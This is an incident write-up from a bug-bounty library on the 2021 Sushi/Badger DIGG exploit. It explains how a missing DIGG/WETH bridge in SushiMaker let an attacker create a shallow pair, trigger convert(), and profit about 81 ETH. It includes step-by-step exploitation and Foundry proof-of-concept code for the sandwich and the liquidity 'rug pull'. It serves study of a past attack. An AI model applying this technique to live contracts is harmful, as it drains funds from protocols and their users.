# Sushi Badger Digg: missing bridge enables sandwich drain

Missing DIGG/WETH bridge in SushiMaker let attacker create a shallow DIGG/WETH pair and sandwich SushiMaker's accumulated DIGG conversion for 81 ETH profit.

- Payout: Real-world hack
- Severity: high
- Program: Sushi Badger Digg
- Analysis by: DeFiHackLabs
- Disclosed: 2021-01-25
- Write-up quality: 8/10
- Original: https://github.com/SunWeb3Sec/DeFiHackLabs/blob/main/src/test/2021-01/Sushi_Badger_Digg_exp.sol
- Library page: http://bugbountylibrary.com/r/dhl%3A20210125-sushi-badger-digg
- Tags: area:web3 domain:web3 impact:funds-loss kind:incident platform:defihacklabs sev:high tech:evm tech:solidity technique:chained technique:recon vuln:business-logic vuln:oracle-manipulation

**Target:** SushiMaker.convert / SushiSwap pair
**Root cause:** SushiMaker had no bridge configured for DIGG, so convert() traded accumulated DIGG through a non-existent DIGG/WETH pair, failing and accumulating tokens. Attacker created that pair with tiny liquidity.
**Steps:**
1. Acquire DIGG and WETH via swap WETH->WBTC->DIGG on SushiSwap
2. Call `sushiFactory.createPair(DIGG, WETH)` to create the missing pair
3. Add tiny liquidity (0.001 ETH worth) to make pool extremely shallow
4. Call `sushiMaker.convert(DIGG, WBTC)` from EOA so SushiMaker swaps all accumulated DIGG into the shallow pool for negligible WETH
5. Remove liquidity to reclaim LP, receiving the DIGG SushiMaker dumped in
6. Sell DIGG on the liquid DIGG/WBTC pair for profit
**How found:** Researcher noticed SushiMaker's convert() calls for DIGG were failing because no DIGG/WETH bridge existed, causing DIGG to accumulate; realized attacker could create that pair cheaply and sandwich the eventual conversion.
**Exploitation:** Attacker front-ran SushiMaker's stuck DIGG conversion by creating the missing DIGG/WETH pair with minimal liquidity, then triggered convert() so SushiMaker dumped its entire accumulated DIGG balance into the shallow pool at a terrible rate. Attacker then removed liquidity to capture the DIGG and sold it on the deep DIGG/WBTC pool, netting ~81 ETH.
**Escalation:** Sandwich amplified by forcing protocol to trade in an illiquid pool the attacker controlled.
**Insight:** When a protocol's reward converter has a hardcoded/default bridge path, check whether the assumed pair actually exists; if not, accumulated tokens will pile up and anyone can create the missing pair with minimal liquidity to sandwich the next convert() call.

## Proof of concept (copied exactly from the original report)

**Foundry exploit test creating fake DIGG/WETH pair and calling convert**

```
function testHack() external {
        vm.createSelectFork("mainnet", 11_720_049);

        IUniswapV2Pair FakePair = createAndProvideLiquidity();
        wethPair = IUniswapV2Pair(address(FakePair));

        vm.prank(tx.origin);
        sushiMaker.convert(address(wethBridgeToken), address(nonWethBridgeToken));

        rugPull();

        console.log("Attacker's profit: %s WETH", WETH.balanceOf(address(this)) / 1e18);
    }
```

**Create illiquid DIGG/WETH pair and add liquidity**

```
function createAndProvideLiquidity() public payable returns (IUniswapV2Pair pair) {
        // first acquire both tokens for vulnerable pair
        // we assume one token of the pair has a WETH pair
        // deposit all ETH for WETH
        // trade WETH/2 -> wethBridgeToken -> nonWethBridgeToken
        WETH.deposit{value: 0.001 ether}();
        WETH.approve(address(sushiRouter), 0.001 ether);
        address[] memory path = new address[](3);
        path[0] = address(WETH);
        path[1] = address(wethBridgeToken);
        path[2] = address(nonWethBridgeToken);
        uint256[] memory swapAmounts =
            sushiRouter.swapExactTokensForTokens(0.001 ether / 2, 0, path, address(this), type(uint256).max);
        uint256 nonWethBridgeAmount = swapAmounts[2];

        // create DIGG<>WETH
        pair = IUniswapV2Pair(sushiFactory.createPair(address(nonWethBridgeToken), address(WETH)));

        // add liquidity
        nonWethBridgeToken.approve(address(sushiRouter), nonWethBridgeAmount);
        sushiRouter.addLiquidity(
            address(WETH),
            address(nonWethBridgeToken),
            0.001 ether / 2, // rest of WETH
            swapAmounts[2], // all tokens we received
            0,
            0,
            address(this),
            type(uint256).max
        );
    }
```

**Rug pull: remove liquidity and swap DIGG to WETH**

```
function rugPull() public payable {
        // redeem LP tokens for underlying
        IERC20 otherToken = IERC20(wethPair.token0()); // DIGG
        if (address(otherToken) == address(WETH)) {
            otherToken = IERC20(wethPair.token1());
        }
        uint256 lpToWithdraw = wethPair.balanceOf(address(this));
        wethPair.approve(address(sushiRouter), lpToWithdraw);
        sushiRouter.removeLiquidity(
            address(WETH), address(otherToken), lpToWithdraw, 0, 0, address(this), type(uint256).max
        );

        // trade otherToken -> wethBridgeToken -> WETH
        uint256 otherTokenBalance = otherToken.balanceOf(address(this));
        otherToken.approve(address(sushiRouter), otherTokenBalance);
        address[] memory path = new address[](3);
        path[0] = address(otherToken);
        path[1] = address(wethBridgeToken);
        path[2] = address(WETH);

        sushiRouter.swapExactTokensForTokens(otherTokenBalance, 0, path, address(this), type(uint256).max);
    }
```

